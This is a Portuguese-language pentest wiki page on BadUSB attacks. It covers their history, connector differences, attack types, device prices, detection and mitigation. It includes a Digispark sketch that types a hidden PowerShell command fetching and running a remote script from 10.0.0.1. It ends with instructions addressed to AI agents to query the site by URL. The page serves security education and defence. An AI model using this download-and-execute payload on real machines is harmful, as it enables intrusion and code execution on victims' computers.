# Bad USB

## 📑 **Índice**

1. [Fundamentos do BadUSB](#-fundamentos-do-badusb)
2. [USB-A vs USB-C: Entenda a Diferença Física e Elétrica](#-usb-a-vs-usb-c-entenda-a-diferença-física-e-elétrica)
3. [Arquitetura e Componentes](#-arquitetura-e-componentes)
4. [Tipos de Ataques](#-tipos-de-ataques)
5. [Dispositivos e Plataformas com Preços e Links](#-dispositivos-e-plataformas-com-preços-e-links)
6. [Técnicas de Exploração](#-técnicas-de-exploração)
7. [Implementação de Payloads](#-implementação-de-payloads)
8. [Detecção e Prevenção](#-detecção-e-prevenção)
9. [Mitigações e Controles](#-mitigações-e-controles)

***

## 🔍 **Fundamentos do BadUSB**

### **O que é BadUSB?**

BadUSB é uma vulnerabilidade crítica de hardware que explora a capacidade de reprogramação dos microcontroladores presentes em dispositivos USB. Diferente de um simples pendrive infectado por software, o BadUSB ataca o próprio firmware do dispositivo, permitindo que ele se passe por qualquer tipo de periférico (teclado, mouse, placa de rede) ou até mesmo execute ataques de sobrecarga elétrica destrutiva. Esta falha foi descoberta pelos pesquisadores Karsten Nohl e Jakob Lell (SR Labs) e apresentada na Black Hat USA em 2014.

A grande questão aqui é: **não importa se o dispositivo é USB-A ou USB-C**. Ambos os padrões utilizam microcontroladores reprogramáveis e implementam o protocolo HID (Human Interface Device). Portanto, ambos são igualmente vulneráveis a ataques BadUSB. A diferença crucial entre USB-A e USB-C está na parte elétrica e na durabilidade, não na suscetibilidade a este tipo específico de ataque.

### **Contexto Histórico**

```yaml
Evolução do BadUSB:
  2010: Ataque Stuxnet (Caso real de uso de USB como vetor de ataque)
  2014: Pesquisadores Karsten Nohl e Jakob Lell (SR Labs) descobrem a vulnerabilidade
  2014: Apresentado na Black Hat USA - demonstram reprogramação de controladores USB
  2014: Criação do USB Rubber Ducky (Hak5) - emulação de teclado
  2015: Primeiros ataques de "USB Killer" - descarga elétrica destrutiva
  2016: Lançamento do Bash Bunny - múltiplos modos de ataque
  2017: Lançamento do MalDuino (open source)
  2020: Raspberry Pi Pico como plataforma BadUSB (popularização DIY)
  2022: Flipper Zero lançado comercialmente (atualmente proibido no Brasil pela Anatel)
  2025: Técnicas avançadas de hardware implant e ataques de exfiltração via LED

Motivação:
  ✅ Acesso físico a sistemas isolados (air-gap)
  ✅ Bypass de controles de software (antivírus, whitelist)
  ✅ Destruição de hardware (ataques de sobrecarga)
  ✅ Engenharia social de alta eficácia
```

***

## ⚡ **USB-A vs USB-C: Entenda a Diferença Física e Elétrica**

A grande verdade é que, para o ataque BadUSB, **o padrão físico do conector não é o fator determinante**. Tanto dispositivos USB-A quanto USB-C podem ser transformados em armas de ataque. A diferença crucial está na engenharia reversa e na reprogramação do chip controlador, que existe em ambos os formatos.

No entanto, para você entender o cenário atual de hardware, separei uma tabela com as diferenças elétricas e de durabilidade que justificam a popularidade de cada padrão.

### **Comparativo Técnico: USB-A vs USB-C**

| Característica             | USB-A (Padrão Tradicional)                                | USB-C (Padrão Moderno)                                                      |
| -------------------------- | --------------------------------------------------------- | --------------------------------------------------------------------------- |
| **Aparência**              | Retangular, assimétrico (só encaixa de um lado).          | Oval, simétrico (encaixa de qualquer lado).                                 |
| **Durabilidade (Ciclos)**  | Aproximadamente **1.500** encaixes.                       | Aproximadamente **10.000** encaixes.                                        |
| **Capacidade de Corrente** | Máximo teórico de **2.4A** (limitado por padrão).         | Máximo de **5A** (com e-Marker, via USB PD).                                |
| **Transferência de Dados** | Até 10 Gbps (USB 3.2 Gen 2).                              | Até 40 Gbps (USB4 / Thunderbolt).                                           |
| **Tensão de Operação**     | Fixa em 5V (padrão, sem negociação).                      | Variável (5V, 9V, 12V, 20V via Power Delivery).                             |
| **Uso em Ataques**         | Mais comum em dispositivos DIY e legados (ex: Digispark). | Mais comum em dispositivos modernos de alta performance (ex: Flipper Zero). |

### **Imagens Ilustrativas**

Para facilitar a identificação visual:

* **USB-A (Machos e Fêmea):** O formato clássico que todos conhecemos, presente em pendrives e na maioria dos computadores.
* **USB-C (Machos e Fêmea):** O padrão oval e menor, presente em celulares modernos, MacBooks e periféricos de última geração. A vantagem aqui para o atacante é a durabilidade (10 mil ciclos) e a possibilidade de criar dispositivos muito mais rápidos e com maior poder de processamento embarcado.

***

## 🏗️ **Arquitetura e Mecanismos**

### **Componentes de um BadUSB**

```yaml
Microcontrolador (MCU):
  - Cérebro do dispositivo
  - Controla a comunicação USB
  - Pode ser reprogramado via firmware
  - Exemplos: ATmega32U4 (Arduino), RP2040 (Raspberry Pi Pico), ESP32-S3 (Wi-Fi)

Memória Flash:
  - Armazena firmware e payloads
  - Pode ser read-only ou reprogramável
  - Tamanho varia de 6KB a 16MB+

Oscilador/Cristal:
  - Controla timing do microcontrolador
  - Pode ser manipulado para ataques de timing

Regulador de Tensão:
  - Converte 5V USB para tensão do MCU (3.3V)
  - Vulnerável a ataques de over-voltage (USB Killer)

Wi-Fi/Bluetooth (BadUSB Avançado):
  - Permite exfiltração de dados remota
  - Exemplo: ESP32-S3 (presente em dispositivos como o Flipper Zero e placas DIY)
```

### **Funcionamento do HID Spoofing**

O HID (Human Interface Device) é a classe de dispositivos que inclui teclados, mouses e joysticks. Sistemas operacionais confiam implicitamente em dispositivos HID, pois são essenciais para a interação do usuário. O BadUSB explora essa confiança.

```mermaid
sequenceDiagram
    participant B as BadUSB Modificado
    participant S as Sistema Operacional
    participant U as Usuário

    Note over B: 1. Dispositivo é conectado
    B->>S: Identifica-se como Teclado (HID)
    S->>B: Driver instalado automaticamente (confiança total)
    
    Note over B: 2. Execução do ataque
    B->>S: Envia keystrokes em alta velocidade (Win+R, CMD, PowerShell)
    S->>U: Comandos executados como se fossem digitados pelo usuário
    
    Note over S: 3. Resultado
    S->>S: Payload executado (reverse shell, ransomware, coleta de dados)
```

***

## ⚔️ **Tipos de Ataques**

| Tipo                        | Alvo     | Mecanismo                                                                | Dano                                                   | Persistência                           |
| --------------------------- | -------- | ------------------------------------------------------------------------ | ------------------------------------------------------ | -------------------------------------- |
| **USB Killer (Hardware)**   | Hardware | Descarga elétrica de alta tensão (200V-650V) contra a porta USB.         | **Físico permanente** (queima de componentes).         | N/A                                    |
| **HID Spoofing (Teclado)**  | Software | Emulação de teclado para execução de comandos maliciosos.                | Lógico (instalação de malware, ransomware, backdoors). | Scripts e malwares instalados.         |
| **Network Spoofing (Rede)** | Rede     | Emulação de adaptador Ethernet (RNDIS) para redirecionar tráfego (MITM). | Interceptação de dados, redirecionamento de tráfego.   | Persistência via configuração de rede. |
| **BadUSB over Wi-Fi**       | Software | Cabo USB com chip Wi-Fi (ESP32) que permite acesso remoto ao payload.    | Lógico (acesso remoto, exfiltração de dados).          | Alto (acesso contínuo).                |

***

## 🛒 **Dispositivos e Plataformas com Preços e Links**

Aqui estão os principais dispositivos utilizados para testes de BadUSB, com seus preços médios em Real (R$) e opções de compra.

### **Dispositivos Comerciais (Plug-and-Play)**

| Dispositivo          | Fabricante | Funcionalidade                                                   | Preço Médio (R$)                           | Onde Encontrar                                    |
| -------------------- | ---------- | ---------------------------------------------------------------- | ------------------------------------------ | ------------------------------------------------- |
| **USB Rubber Ducky** | Hak5       | HID Keyboard (Clássico dos pentests).                            | \~R$ 400 - R$ 800                          | Mercado Livre (importadores), eBay (importação).  |
| **Bash Bunny**       | Hak5       | Multi-mode (HID, Ethernet, storage).                             | \~R$ 700 - R$ 1.200                        | Mercado Livre (importadores), eBay.               |
| **Flipper Zero**     | Flipper    | Multi-tool (RFID, NFC, IR, BadUSB). **⚠️ PROIBIDO pela Anatel**. | \~R$ 1.500 - R$ 2.500 (importação ilegal). | **Não recomendado** (risco de apreensão e multa). |
| **OMG Cable**        | Hak5       | Cabo USB com Wi-Fi (HID + backdoor).                             | \~R$ 800 - R$ 1.500                        | Mercado Livre (importadores), Hak5 (oficial).     |

### **Plataformas DIY (Faça Você Mesmo - Mais Barato)**

| Plataforma               | Conector                          | Microcontrolador       | Preço Médio (R$)     | Onde Encontrar                            |
| ------------------------ | --------------------------------- | ---------------------- | -------------------- | ----------------------------------------- |
| **Digispark (ATTiny85)** | USB-A                             | ATTiny85               | **\~R$ 20 - R$ 40**  | Shopee, AliExpress, Mercado Livre.        |
| **Raspberry Pi Pico**    | Micro-USB / USB-A (via adaptador) | RP2040                 | **\~R$ 25 - R$ 50**  | Shopee, AliExpress, Kabum, Mercado Livre. |
| **ESP32-S3 Dev Board**   | USB-C                             | ESP32-S3 (Wi-Fi + BLE) | **\~R$ 50 - R$ 100** | AliExpress, Shopee, Mercado Livre.        |
| **Arduino Leonardo**     | Micro-USB                         | ATmega32U4             | **\~R$ 80 - R$ 150** | Mercado Livre, Arduino Br, Kabum.         |

***

## ⚙️ **Técnicas de Exploração e Payloads**

### **1. USB Killer - Ataque de Hardware**

Embora não seja possível criar um "USB Killer" caseiro com segurança, a técnica se baseia no princípio de armazenar energia dos capacitores do próprio dispositivo e liberá-la de volta na porta USB em uma rajada de alta voltagem, queimando os componentes da placa-mãe. É um ataque puramente físico e irreversível.

### **2. HID Spoofing com Digispark (USB-A)**

O Digispark é uma excelente porta de entrada para o mundo do BadUSB devido ao seu baixíssimo custo. Ele utiliza o microcontrolador ATTiny85 e se conecta via USB-A.

```cpp
// Código para Digispark (Arduino IDE)
// Payload: Abrir PowerShell e baixar um script malicioso
#include "DigiKeyboard.h"

void setup() {
  pinMode(1, OUTPUT);
  DigiKeyboard.update();
  DigiKeyboard.delay(2000); // Aguardar reconhecimento do driver
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Win + R
  DigiKeyboard.delay(500);
  DigiKeyboard.print("powershell -WindowStyle Hidden -Command \"IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/shell.ps1')\"");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
}

void loop() {}
```

### **3. BadUSB over Wi-Fi com ESP32-S3 (USB-C)**

Esta é uma técnica avançada. Utilizando uma placa de desenvolvimento ESP32-S3 (conector USB-C), é possível criar um dispositivo que se conecta à internet e envia os dados capturados para um servidor remoto, ou que recebe comandos de um C2 (Comando e Controle) via Wi-Fi. O atacante não precisa estar fisicamente perto após a infecção inicial.

### **4. Exfiltração de Dados via LED (Covert Channel)**

Pesquisas recentes (BadUSB 2.0) demonstram a possibilidade de usar os LEDs de status do teclado (Num Lock, Caps Lock, Scroll Lock) para transmitir dados Morse. O dispositivo malicioso pisca os LEDs em sequências específicas para codificar informações, que são capturadas por uma câmera ou sensor próximo, exfiltrando dados sem usar a rede.

***

## 🛡️ **Detecção e Prevenção**

### **Indicadores de Comprometimento (IOCs)**

* **Hardware:** Dispositivos USB desconhecidos conectados, especialmente aqueles com aspecto "artesanal" ou invulgar.
* **Software:** Abertura súbita de prompts de comando (cmd), PowerShell ou janelas de execução (Win+R) sem interação do usuário.
* **Rede:** Tráfego de rede inesperado para IPs externos logo após a conexão de um dispositivo USB.

### **Estratégias de Mitigação**

1. **Cage the Elephant (Bloqueio Físico):** A prevenção mais eficaz é a física. Se o usuário não pode conectar USBs não autorizados, o ataque falha. Utilize bloqueadores de porta USB ou lacre os computadores.
2. **Política de "Trust no USB":** Implemente uma política rigorosa de uso de dispositivos USB. Utilize software de Device Control (DLP) para permitir apenas dispositivos específicos (whitelist por VID/PID).
3. **Treinamento de Conscientização:** Funcionários devem ser treinados para **nunca** conectar USBs encontrados ou recebidos de fontes desconhecidas no trabalho.
4. **Proteção Ativa (Endpoint):** Soluções de EDR (Endpoint Detection and Response) modernas podem detectar a injeção rápida de comandos via HID e bloquear a execução de scripts PowerShell maliciosos.

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
BadUSB:
  ✅ Ataque de hardware crítico e versátil (USB-A e USB-C)
  ✅ Bypassa firewalls, antivírus e whitelists
  ✅ Pode causar danos físicos (USB Killer) ou lógicos (HID)
  ✅ Acessível via dispositivos DIY de baixo custo (R$ 20)

Defesas Essenciais:
  ❌ NÃO confiar em USBs desconhecidos (engenharia social)
  ✓ Bloquear portas USB fisicamente
  ✓ Implementar Device Control (whitelisting)
  ✓ Treinar usuários para identificar riscos
```

### **Recomendações Finais**

1. **Para Empresas:** Invista em soluções de DLP (Data Loss Prevention) que controlem a instalação de drivers HID. Considere o uso de "USB Condoms" (dispositivos que bloqueiam pinos de dados) para carregamento seguro em locais públicos.
2. **Para Pesquisadores/Pentesters:** Utilize ambientes controlados. O Digispark (USB-A) é excelente para aprendizado devido ao baixo custo. Para testes mais avançados, o Raspberry Pi Pico ou o ESP32-S3 (USB-C) oferecem muito mais poder e versatilidade.
3. **Para Usuários:** Desconfie de qualquer pendrive que não seja seu. Ao encontrar um dispositivo USB, entregue-o à equipe de TI em vez de conectá-lo ao seu computador.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/hardware/bad-usb.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
